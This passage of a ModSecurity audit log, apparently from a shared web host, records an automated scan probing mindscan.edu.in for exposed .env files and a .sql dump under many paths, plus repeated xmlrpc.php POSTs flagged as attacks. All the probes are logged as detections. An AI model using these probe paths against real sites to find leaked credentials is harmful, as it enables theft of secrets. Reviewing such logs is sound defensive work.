must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05813d3ba63f6d693007442ca597a0691750028482; expires=Mon, 16 Jun 2025 00:01:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5b1cf3b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/courrier/.env"] [unique_id "aE9QwVxTdrwJSUMoZvG0PwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028481744883 710399 (- - -) Stopwatch2: 1750028481744883 710399; combined=1683, p1=365, p2=1234, p3=0, p4=0, p5=84, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5b1cf3b-Z-- --c2dfef33-A-- [16/Jun/2025:04:31:28.468824 +0530] aE9Qx8alTF-TysO2fMOBmQAAAAE 185.177.72.210 35716 127.0.0.1 7081 --c2dfef33-B-- GET /resources/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c2dfef33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=71173d979fe34c47ee10184fa69e33481750028488; expires=Mon, 16 Jun 2025 00:01:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c2dfef33-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/resources/docker/.env"] [unique_id "aE9Qx8alTF-TysO2fMOBmQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028487806645 662254 (- - -) Stopwatch2: 1750028487806645 662254; combined=2275, p1=487, p2=1662, p3=0, p4=0, p5=125, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2dfef33-Z-- --76588565-A-- [16/Jun/2025:04:31:30.407712 +0530] aE9QyZbumDYPKpRD2ekpVwAAAAA 185.177.72.210 50422 127.0.0.1 7081 --76588565-B-- GET /javascript/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76588565-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0b9d6bea6c6c5b0504ac2938c83b9591750028490; expires=Mon, 16 Jun 2025 00:01:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76588565-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/javascript/.env"] [unique_id "aE9QyZbumDYPKpRD2ekpVwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028489763877 643910 (- - -) Stopwatch2: 1750028489763877 643910; combined=1979, p1=424, p2=1456, p3=0, p4=0, p5=98, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76588565-Z-- --0f65be67-A-- [16/Jun/2025:04:31:34.427546 +0530] aE9QzUoyC4_VyyL7sS6LEgAAAAI 185.177.72.210 50636 127.0.0.1 7081 --0f65be67-B-- GET /2004.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0f65be67-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=24fa8203b5c9e872228992c0f900acd31750028494; expires=Mon, 16 Jun 2025 00:01:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0f65be67-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2004.sql"] [unique_id "aE9QzUoyC4_VyyL7sS6LEgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028493719474 708142 (- - -) Stopwatch2: 1750028493719474 708142; combined=1684, p1=310, p2=1297, p3=0, p4=0, p5=76, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f65be67-Z-- --2e62a36f-A-- [16/Jun/2025:04:31:35.531076 +0530] aE9Qzn2GhYywD7zZgx4EEAAAAAM 185.177.72.210 50702 127.0.0.1 7081 --2e62a36f-B-- GET /v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e62a36f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fa8eba4331278eafb59e89722976ddc41750028495; expires=Mon, 16 Jun 2025 00:01:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e62a36f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/v2/.env"] [unique_id "aE9Qzn2GhYywD7zZgx4EEAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028494876126 655012 (- - -) Stopwatch2: 1750028494876126 655012; combined=1631, p1=370, p2=1159, p3=0, p4=0, p5=101, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e62a36f-Z-- --3f608b39-A-- [16/Jun/2025:04:31:49.309197 +0530] aE9Q3JbumDYPKpRD2ekpXwAAAAA 185.177.72.210 46824 127.0.0.1 7081 --3f608b39-B-- GET /.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f608b39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=474eebc25605da5a4f7aff4059a22a831750028509; expires=Mon, 16 Jun 2025 00:01:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f608b39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.prod"] [unique_id "aE9Q3JbumDYPKpRD2ekpXwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028508653429 655842 (- - -) Stopwatch2: 1750028508653429 655842; combined=1832, p1=367, p2=1343, p3=0, p4=0, p5=121, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f608b39-Z-- --a2802f20-A-- [16/Jun/2025:04:32:06.706447 +0530] aE9Q7bBfUm2FdhH5voESRgAAAAU 128.199.112.101 34048 127.0.0.1 7081 --a2802f20-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a2802f20-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a2802f20-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Q7bBfUm2FdhH5voESRgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028525654549 1051981 (- - -) Stopwatch2: 1750028525654549 1051981; combined=2627, p1=535, p2=1537, p3=60, p4=87, p5=257, sr=130, sw=151, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2802f20-Z-- --0821094d-A-- [16/Jun/2025:04:32:20.067642 +0530] aE9Q--xC6fQU5wYvxvlymQAAAAk 185.177.72.210 47222 127.0.0.1 7081 --0821094d-B-- GET /:8080/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0821094d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a41d9515023db164a30540f9d0c02831750028539; expires=Mon, 16 Jun 2025 00:02:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0821094d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/app/configura/.env"] [unique_id "aE9Q--xC6fQU5wYvxvlymQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028539380053 687677 (- - -) Stopwatch2: 1750028539380053 687677; combined=2049, p1=458, p2=1488, p3=0, p4=0, p5=103, sr=143, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0821094d-Z-- --e6c82309-A-- [16/Jun/2025:04:32:23.983181 +0530] aE9Q_32GhYywD7zZgx4EJQAAAAM 185.177.72.210 47396 127.0.0.1 7081 --e6c82309-B-- GET /:8080/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e6c82309-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d74386b76c284fc11cd4420762a6994e1750028543; expires=Mon, 16 Jun 2025 00:02:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e6c82309-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/docker/.env"] [unique_id "aE9Q_32GhYywD7zZgx4EJQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028543315715 667530 (- - -) Stopwatch2: 1750028543315715 667530; combined=1939, p1=377, p2=1455, p3=0, p4=0, p5=106, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6c82309-Z-- --c0e3a364-A-- [16/Jun/2025:04:32:30.360401 +0530] aE9RBfNXjUHq-Wm7C_8YNAAAAAQ 185.177.72.210 57066 127.0.0.1 7081 --c0e3a364-B-- GET /.env.hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c0e3a364-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3274fac320262c553c03da57f4d7ae441750028550; expires=Mon, 16 Jun 2025 00:02:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0e3a364-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.hidden"] [unique_id "aE9RBfNXjUHq-Wm7C_8YNAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028549700107 660375 (- - -) Stopwatch2: 1750028549700107 660375; combined=1914, p1=435, p2=1377, p3=0, p4=0, p5=101, sr=130, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0e3a364-Z-- --675cfc2e-A-- [16/Jun/2025:04:32:39.770579 +0530] aE9RD1xTdrwJSUMoZvG0YAAAAAc 185.177.72.210 57406 127.0.0.1 7081 --675cfc2e-B-- GET /:8080/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --675cfc2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1659063b5a308ec32c768059546e09ff1750028559; expires=Mon, 16 Jun 2025 00:02:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --675cfc2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/developer/.env"] [unique_id "aE9RD1xTdrwJSUMoZvG0YAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028559117761 652891 (- - -) Stopwatch2: 1750028559117761 652891; combined=1861, p1=347, p2=1432, p3=0, p4=0, p5=81, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --675cfc2e-Z-- --f58c394f-A-- [16/Jun/2025:04:33:07.033445 +0530] aE9RKrBfUm2FdhH5voESXwAAAAU 128.199.112.101 53986 127.0.0.1 7081 --f58c394f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f58c394f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f58c394f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9RKrBfUm2FdhH5voESXwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028586085030 948472 (- - -) Stopwatch2: 1750028586085030 948472; combined=2544, p1=380, p2=1729, p3=46, p4=78, p5=188, sr=100, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f58c394f-Z-- --fc2b9057-A-- [16/Jun/2025:04:33:34.784476 +0530] aE9RRrV9qKUox3X8g1YmeQAAAAg 185.177.72.210 56114 127.0.0.1 7081 --fc2b9057-B-- GET /samples/chatroom/chatroom-spa/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fc2b9057-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e93b5e022c0e87353b9ad2dd8804bebc1750028614; expires=Mon, 16 Jun 2025 00:03:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fc2b9057-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/samples/chatroom/chatroom-spa/.env"] [unique_id "aE9RRrV9qKUox3X8g1YmeQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028614107607 676946 (- - -) Stopwatch2: 1750028614107607 676946; combined=1907, p1=393, p2=1365, p3=0, p4=0, p5=129, sr=100, sw=20, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc2b9057-Z-- --114eca60-A-- [16/Jun/2025:04:33:46.830509 +0530] aE9RUvNXjUHq-Wm7C_8YUwAAAAQ 185.177.72.210 48986 127.0.0.1 7081 --114eca60-B-- GET /website/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --114eca60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=df5c844194b223ae3b92b8cf4c8db9da1750028626; expires=Mon, 16 Jun 2025 00:03:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --114eca60-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/website/.env"] [unique_id "aE9RUvNXjUHq-Wm7C_8YUwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028626181063 649526 (- - -) Stopwatch2: 1750028626181063 649526; combined=1673, p1=374, p2=1211, p3=0, p4=0, p5=88, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for 